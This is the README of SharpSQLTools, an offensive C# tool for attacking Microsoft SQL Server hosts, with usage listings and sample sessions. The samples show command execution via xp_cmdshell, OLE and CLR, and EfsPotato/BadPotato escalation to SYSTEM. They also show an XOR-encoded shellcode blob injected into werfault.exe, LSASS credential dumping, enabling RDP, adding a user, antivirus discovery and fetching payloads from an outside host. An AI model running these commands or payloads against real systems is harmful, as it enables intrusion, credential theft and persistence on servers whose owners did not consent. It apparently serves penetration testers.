- 简介
和RcoIl一起写的小工具，可上传下载文件，xp_cmdshell与sp_oacreate双回显和clr加载程序集执行相应操作。功能参考mssqlproxy，由于目前C#还不知如何获取SQL连接的socket，该项目中的mssqlproxy功能目前尚未实现。另外，Clr不适用于一些与线程进程相关的操作。
编译环境为net 4.0
更新日志
-
2021-08-05
- 添加clr_badpotato
- 修改原来的clr_potato为clr_efspotato
-
2021-08-04
- 添加一些clr实现的基本命令：pwd,ls,netstat,ps等等
- 致谢KevinJClark@csharptoolbox & rabbittb
-
2021-08-03
- 添加clr_efspotato
- 致谢zcgonvh@EfsPotato & hl0rey
-
2021-07-10
- 修复上传bug
- 修复clr回显bug
-
2021-06-22
- 添加clr执行命令和程序
- 添加clr合并文件功能，方便在cmd被拦截时代替copy /b合并文件
- 修改支持自定义端口
-
2021-05-27
- 支持shellcode远程加载
-
2021-01-19
- 支持xp_cmdshell与sp_oacreate双回显
- 支持clr加载程序集执行
- 支持上传下载文件
-
2019-12-18
- 发布最初命令行版
Usage
λ SharpSQLTools.exe
_____ _ _____ ____ _ _______ _
/ ____| | / ____|/ __ \| | |__ __| | |
| (___ | |__ __ _ _ __ _ __| (___ | | | | | | | ___ ___ | |___
\___ \| '_ \ / _` | '__| '_ \\___ \| | | | | | |/ _ \ / _ \| / __|
____) | | | | (_| | | | |_) |___) | |__| | |____| | (_) | (_) | \__ \
|_____/|_| |_|\__,_|_| | .__/_____/ \___\_\______|_|\___/ \___/|_|___/
| |
|_|
by Rcoil & Uknow
Usage:
SharpSQLTools target:port username password database - interactive console
SharpSQLTools target:port username password database module command - non-interactive console
Module:
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_oacreate {cmd} - executes cmd using sp_oacreate
enable_ole - you know what it means
disable_ole - you know what it means
upload {local} {remote} - upload a local file to a remote path (OLE required)
download {remote} {local} - download a remote file to a local path
enable_clr - you know what it means
disable_clr - you know what it means
install_clr - create assembly and procedure
uninstall_clr - drop clr
clr_pwd - print current directory by clr
clr_ls {directory} - list files by clr
clr_cd {directory} - change directory by clr
clr_ps - list process by clr
clr_netstat - netstat by clr
clr_ping {host} - ping by clr
clr_cat {file} - view file contents by clr
clr_rm {file} - delete file by clr
clr_exec {cmd} - for example: clr_exec whoami;clr_exec -p c:\a.exe;clr_exec -p c:\cmd.exe -a /c whoami
clr_efspotato {cmd} - exec by EfsPotato like clr_exec
clr_badpotato {cmd} - exec by BadPotato like clr_exec
clr_combine {remotefile} - When the upload module cannot call CMD to perform copy to merge files
clr_dumplsass {path} - dumplsass by clr
clr_rdp - check RDP port and Enable RDP
clr_getav - get anti-virus software on this machin by clr
clr_adduser {user} {pass} - add user by clr
clr_download {url} {path} - download file from url by clr
clr_scloader {code} {key} - Encrypt Shellcode by Encrypt.py (only supports x64 shellcode.bin)
clr_scloader1 {file} {key} - Encrypt Shellcode by Encrypt.py and Upload Payload.txt
clr_scloader2 {remotefile} - Upload Payload.bin to target before Shellcode Loader
exit - terminates the server process (and this session)
功能介绍
支持交互模式与非交互模式，交互模式直接跟目标，用户名和密码即可。非交互模式直接跟模块与命令。
SharpSQLTools target:port username password database - interactive console
SharpSQLTools target:port username password database module command - non-interactive console
xp_cmdshell执行命令
λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX xp_cmdshell master whoami
[*] Database connection is successful!
nt authority\system
sp_oacreate执行命令
λ SharpSQLTools.exe 192.168.0.102 sa 1qaz@WSX master sp_oacreate master "whoami"
[*] Database connection is successful!
nt service\mssqlserver
clr执行命令
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_exec whoami
[*] Database connection is successful!
[+] Process: cmd.exe
[+] arguments: /c whoami
[+] RunCommand: cmd.exe /c whoami
nt service\mssql$sqlexpress
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_exec -p c:\windows/system32\whoami.exe
[*] Database connection is successful!
[+] Process: c:\windows/system32\whoami.exe
[+] arguments:
[+] RunCommand: c:\windows/system32\whoami.exe
nt service\mssql$sqlexpress
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_exec -p c:\cmd.exe -a /c whoami
[*] Database connection is successful!
[+] Process: c:\cmd.exe
[+] arguments: /c whoami
[+] RunCommand: c:\cmd.exe /c whoami
nt service\mssql$sqlexpress
clr_efspotato or clr_badpotato
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato whoami
[*] Database connection is successful!
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
[+] Current user: NT AUTHORITY\NETWORK SERVICE
[+] Get Token: 3352
[+] Command : c:\Windows\System32\cmd.exe /c whoami
[!] process with pid: 2012 created.
==============================
nt authority\system
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato -p c:\windows/system32\whoami.exe
[*] Database connection is successful!
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
[+] Current user: NT AUTHORITY\NETWORK SERVICE
[+] Get Token: 3084
[+] Command : c:\windows/system32\whoami.exe
[!] process with pid: 164 created.
==============================
nt authority\system
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato -p c:\cmd.exe -a /c whoami
[*] Database connection is successful!
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
[+] Current user: NT AUTHORITY\NETWORK SERVICE
[+] Get Token: 3124
[+] Command : c:\cmd.exe /c whoami
[!] process with pid: 2080 created.
==============================
nt authority\system
clr_scloader
λ python Encrypt.py -f nc.bin -k 1234
XorKey: 1234
Result: zXqw0MHa8zQxMnJlcGJhZWd6AuZUerhmUXq4Zil6uGYRerhGYXo8g3t4fgX4egL0nQ5SSDMeE3Xw+z51MPPR2WNzYny6YBO/cw57NeG5s7wxMjN8tPJHU3kz42S6eitwunITfTDi0GJ5zfp1uga7fDDkfgX4egL0nXPy/TxzMvUJ0kbFfTF/EDl3CuVE6mtwunIXfTDiVXW6PntwunIvfTDicr81uns14XNrdWlsam5wanJtcGh7t90ScmbO0mt1aGh7vyPbZMvOzW59j0VABm4BATQxc2V9uNR7td2SMjQxe7rReI4xNDgv85wxV3JgeLvXeLjDco59RRUzzud/vdtaMjUxMmp1ixuzXzHN5mRhfwL9fAPzfM7ye73zesz0ebvydYvYPOvRzeZ8uPVZJHBqf73TerrNcIiqkUVTzOF5s/d0MzIzfYlRXlAxMjM0MXNjdWF6utZmZWR5APJZOWhzY9bNVPRwFWYyNXm/dxAp9DNcebvVYmFzY3Vhc2N9zvJyZHjN+3m483+98HOJTf0NtcvkegLmec35vz9ziTy2L1PL5InDgZNkco6Xp46pzud7t/UaDzJNOLPP0Uc2j3YhQVtbMmp1uOjM4Q==
λ SharpSQLTools.exe 192.168.0.107 sa 1qaz@WSX master clr_scloader zXqw0MHa8zQxMnJlcGJhZWd6AuZUerhmUXq4Zil6uGYRerhGYXo8g3t4fgX4egL0nQ5SSDMeE3Xw+z51MPPR2WNzYny6YBO/cw57NeG5s7wxMjN8tPJHU3kz42S6eitwunITfTDi0GJ5zfp1uga7fDDkfgX4egL0nXPy/TxzMvUJ0kbFfT F/EDl3CuVE6mtwunIXfTDiVXW6PntwunIvfTDicr81uns14XNrdWlsam5wanJtcGh7t90ScmbO0mt1aGh7vyPbZMvOzW59j0VABm4BATQxc2V9uNR7td2SMjQxe7rReI4xNDgv85wxV3JgeLvXeLjDco59RRUzzud/vdtaMjUxMmp1ixuzXzHN5mRhfwL9fAPzfM7ye73zesz0ebvydYvYPOvRzeZ8uPVZJHBqf73TerrNcIiqkUVTzOF5s/d0MzIzfYlRXlAxMjM0MXNjdWF6utZmZWR5APJZOWhzY9bNVPRwFWYyNXm/dxAp9DNcebvVYmFzY3Vhc2N9zvJyZHjN+3m483+98HOJTf0NtcvkegLmec35vz9ziTy2L1PL5InDgZNkco6Xp46pzud7t/UaDzJNOLPP0Uc2j3YhQVtbMmp1uOjM4Q== 1234
[*] Database connection is successful!
[+] EncryptShellcode: zXqw0MHa8zQxMnJlcGJhZWd6AuZUerhmUXq4Zil6uGYRerhGYXo8g3t4fgX4egL0nQ5SSDMeE3Xw+z51MPPR2WNzYny6YBO/cw57NeG5s7wxMjN8tPJHU3kz42S6eitwunITfTDi0GJ5zfp1uga7fDDkfgX4egL0nXPy/TxzMvUJ0kbFfTF/EDl3CuVE6mtwunIXfTDiVXW6PntwunIvfTDicr81uns14XNrdWlsam5wanJtcGh7t90ScmbO0mt1aGh7vyPbZMvOzW59j0VABm4BATQxc2V9uNR7td2SMjQxe7rReI4xNDgv85wxV3JgeLvXeLjDco59RRUzzud/vdtaMjUxMmp1ixuzXzHN5mRhfwL9fAPzfM7ye73zesz0ebvydYvYPOvRzeZ8uPVZJHBqf73TerrNcIiqkUVTzOF5s/d0MzIzfYlRXlAxMjM0MXNjdWF6utZmZWR5APJZOWhzY9bNVPRwFWYyNXm/dxAp9DNcebvVYmFzY3Vhc2N9zvJyZHjN+3m483+98HOJTf0NtcvkegLmec35vz9ziTy2L1PL5InDgZNkco6Xp46pzud7t/UaDzJNOLPP0Uc2j3YhQVtbMmp1uOjM4Q==
[+] XorKey: 1234
[+] StartProcess werfault.exe
[+] OpenProcess Pid: 2508
[+] VirtualAllocEx Success
[+] QueueUserAPC Inject shellcode to PID: 2508 Success
[+] hOpenProcessClose Success
[*] QueueUserAPC Inject shellcode Success, enjoy!
clr_scloader1
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_scloader1 C:\Users\Public\payload.txt aaaa
[*] Database connection is successful!
[+] EncryptShellcodePath: C:\Users\Public\payload.txt
[+] XorKey: aaaa
[+] StartProcess werfault.exe
[+] OpenProcess Pid: 3232
[+] VirtualAllocEx Success
[+] QueueUserAPC Inject shellcode to PID: 3232 Success
[+] hOpenProcessClose Success
[*] QueueUserAPC Inject shellcode Success, enjoy!
clr_scloader2
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_scloader2 C:\Users\Public\beacon.bin
[*] Database connection is successful!
[+] ShellcodePath: C:\Users\Public\beacon.bin
[+] StartProcess werfault.exe
[+] OpenProcess Pid: 332
[+] VirtualAllocEx Success
[+] QueueUserAPC Inject shellcode to PID: 332 Success
[+] hOpenProcessClose Success
[*] QueueUserAPC Inject shellcode Success, enjoy!
clr_dumplsass
λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master clr_dumplsass
[*] Database connection is successful!
[*] Dumping lsass (488) to C:\Windows\Temp\debug488.out
[+] Dump successful!
[*] Compressing C:\Windows\Temp\debug488.out to C:\Windows\Temp\debug488.bin gzip file
[X] Output file 'C:\Windows\Temp\debug488.bin' already exists, removing
[*] Deleting C:\Windows\Temp\debug488.out
[+] Dumping completed. Rename file to "debug488.gz" to decompress.
[*] Operating System : Windows Server 2008 R2 Standard
[*] Architecture : AMD64
[*] Use "sekurlsa::minidump debug.out" "sekurlsa::logonPasswords full" on the same OS/arch
clr_RDP
λ SharpSQLTools.exe 192.168.0.103 sa 1qaz@WSX master "clr_RDP"
[*] Database connection is successful!
[*] RDP is already enabled
[+] RDP Port: 3389
clr_getav
λ SharpSQLTools.exe 192.168.0.103 sa 1qaz@WSX master "clr_getav"
[*] Database connection is successful!
[*] Finding....
[>] proName: wdswfsafe appName: 360杀毒-网盾
[*] Finish!
clr_adduser
λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master clr_adduser test1234 1qaz@WSX
[*] Database connection is successful!
[*] Adding User success
[*] Adding Group Member success
clr_combine
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_combine C:\Users\Public\payload.txt
[*] Database connection is successful!
[+] remoteFile: C:\Users\Public\payload.txt
[+] count: 5
[+] combinefile: C:\Users\Public\payload.txt_*.config_txt C:\Users\Public\payload.txt
[*] 'C:\Users\Public\payload.txt_*.config_txt' CombineFile completed
clr_download
λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master clr_download "http://192.168.28.185:8001/clac.bin" "c:\Users\Public\Downloads\test.bin"
[*] Database connection is successful!
[*] Download success
upload
λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master upload C:\Users\Pentest\Desktop\test\usc.exe c:\Users\Public\Downloads\11.exe
[*] Database connection is successful!
[*] Uploading 'C:\Users\Pentest\Desktop\test\usc.exe' to 'c:\Users\Public\Downloads\11.exe'...
[+] 7-1 Upload completed
[+] 7-2 Upload completed
[+] 7-3 Upload completed
[+] 7-4 Upload completed
[+] 7-5 Upload completed
[+] 7-6 Upload completed
[+] 7-7 Upload completed
[+] copy /b c:\Users\Public\Downloads\11.exe_x.config_txt c:\Users\Public\Downloads\11.exe
[+] del c:\Users\Public\Downloads\*.config_txt
[*] 'C:\Users\Pentest\Desktop\test\usc.exe' Upload completed
download
λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master download c:\Users\Public\Downloads\t.txt C:\Users\Pentest\Desktop\test\t.txt
[*] Database connection is successful!
[*] Downloading 'c:\Users\Public\Downloads\t.txt' to 'C:\Users\Pentest\Desktop\test\t.txt'...
[*] 'c:\Users\Public\Downloads\t.txt' Download completed
References
https://github.com/blackarrowsec/mssqlproxy
https://github.com/An0nySec/ShadowUser/blob/main/ShadowUser/Program.cs#L235
https://github.com/GhostPack/SharpDump
https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0